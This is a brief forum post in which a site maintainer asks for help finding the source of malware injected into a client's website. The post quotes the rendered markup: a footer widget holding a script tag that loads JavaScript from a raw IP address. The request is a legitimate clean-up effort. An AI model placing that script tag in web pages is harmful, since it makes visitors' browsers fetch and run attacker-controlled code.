Help identifing location of malware

Hi, im dealing with malware on a client website, there is one i havent been able to locate, its obviously obsfusctaed in code but when rendering the website it shows up as this line: <div id="text-6" class="foot-widget widget_text"> <div class="textwidget"><script type="text/javascript" src="//128.199.161.173/proxy/9/image.js"></script></div>
If anyone could give me a clue about where to find it in order to delete it would be of great help